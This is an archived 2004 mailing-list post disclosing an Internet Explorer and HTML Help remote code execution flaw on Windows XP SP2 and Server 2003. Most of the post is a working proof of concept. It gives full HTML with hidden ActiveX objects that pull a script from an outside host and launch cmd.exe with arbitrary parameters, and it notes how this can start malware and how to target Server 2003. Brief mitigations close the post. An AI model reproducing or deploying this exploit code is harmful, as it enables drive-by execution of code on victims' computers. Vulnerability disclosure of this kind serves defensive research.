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Windows (XP SP2) Remote code execution with parameters
From: "ShredderSub7 SecExpert" <shreddersub7 () hotmail com>
Date: Tue, 28 Dec 2004 00:24:02 +0000
PoC (called CMDExe): http://www.freewebs.com/shreddersub7/htm.htm Discussion: http://www.freewebs.com/shreddersub7/expl-discuss.htm ------------------Which systems are vulnerable?--------Any system running any Microsoft Windows XP edition with Internet Explorer 6 or higher, even with SP2 applied. Any system running any Microsoft Windows Server 2003 edition with Internet Explorer 6 or higher.
------------------How does this exploit work?-----------The problem with Internet Explorer is that it doesn't set any restrictions on web pages that request opening a Windows Help file, compiled with HTML Help. Without a restriction, we can (in Internet Explorer) easily command to open any local web page stored on a victim's computer, including web pages that are founded in Windows Help files (with extension .CHM). In this PoC (Proof of Concept, see below for viewing the PoC), the web page "alt_url_enterprise_specific.htm" (that is founded in the Windows Help file "ntshared.chm") will be opened in the HTML Help program "hh.exe". Since we now opened a web page stored in a Windows Help file (.CHM), it is possible (thanks to the exploit) to execute a HTML Help control (in this case, an ActiveX control) that only fully works in Help files. So in this PoC, we choosed to launch an ActiveX control for HTML Help. Then, this ActiveX control will execute any program we want, in this example that's "cmd.exe".
Thanks to the exploit, it is even possible to add parameters to the executed program (here: cmd.exe), so that you can easily start malware out of "cmd.exe". In this PoC, we added the parameter "/c pause" to the execution code "cmd.exe", and the result is a DOS Prompt with the text "Press any key to continue. . .".
To make it complete, the 2 needed programs (Internet Explorer and HTML Help) will be automatically shutted down after the execution is finished. In this PoC, HTML Help and Internet Explorer will be automatically closed after the execution, without user interaction.
------------------How can you reproduce this PoC?------------------Create the file "htm.htm" with the following code (please notice that you may want to modify the full path to the file "htm.txt"):
--------------<html><head><title>CMDExe - Windows Exploit - Remote code execution with parameters - Proof of Concept</title></head><body> <br><OBJECT style="display:none" id="locate" type="application/x-oleobject" classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" codebase="hhctrl.ocx#Version=5,2,3790,1194">
<PARAM name="Command" value="Related Topics, MENU"> <PARAM name="Button" value="Text:_"> <PARAM name="Window" value="$global_blank"><PARAM name="Item1" value="command;ms-its:c:/windows/help/ntshared.chm::/alt_url_enterprise_specific.htm">
</OBJECT><OBJECT style="display:none" id="locator" type="application/x-oleobject" classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" codebase="hhctrl.ocx#Version=5,2,3790,1194">
<PARAM name="Command" value="Related Topics, MENU"> <PARAM name="Button" value="Text:_"> <PARAM name="Window" value="$global_blank"><PARAM name="Item1" value='command;javascript:execScript("document.write(\"<script language=\\\"javascript\\\" src=\\\"http://www.freewebs.com/shreddersub7/htm.txt\\\"\"+String.fromCharCode(62)+\"</scr\"+\"ipt\"+String.fromCharCode(62))")'>
</OBJECT>
<script>locate.HHClick();setTimeout("locator.HHClick()",100);setTimeout("window.opener=null;window.close()",10000)</script></body></html>
--------------
Then create the file "htm.txt" (please notice that you may have to change
the full path to your specified program, in this case "cmd.exe"):
--------------document.write("<object id=a classid=clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11><param name=command value=shortcut><param name=item1 value=',cmd.exe,/c pause,'></object><object id=b classid=clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11><param name=command value=close></object><script>a.Click\(\);b.Click\(\)</script>");
--------------If you want to attack Windows Server 2003 systems, you also need to upload the "hhctrl.ocx" file (http://www.freewebs.com/shreddersub7/hhctrl.ocx)
--------------How to avoid this exploit...-------------Since there are no patches from Microsoft available yet, here are some (temporary?) solutions: Disable Internet Explorer
or disable Active Scripting (HOW?). OR Use another browser,for example Mozilla FireFox.More info (like credits, things that are included etc.) about this exploit can be found at http://www.freewebs.com/shreddersub7/expl-discuss.htm
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- Windows (XP SP2) Remote code execution with parameters ShredderSub7 SecExpert (Jan 03)
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- Re: Windows (XP SP2) Remote code executionwithparameters Rafel Ivgi (Jan 03)
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- RE: Windows (XP SP2) Remote code execution with parameters Goencz, Otto (Jan 06)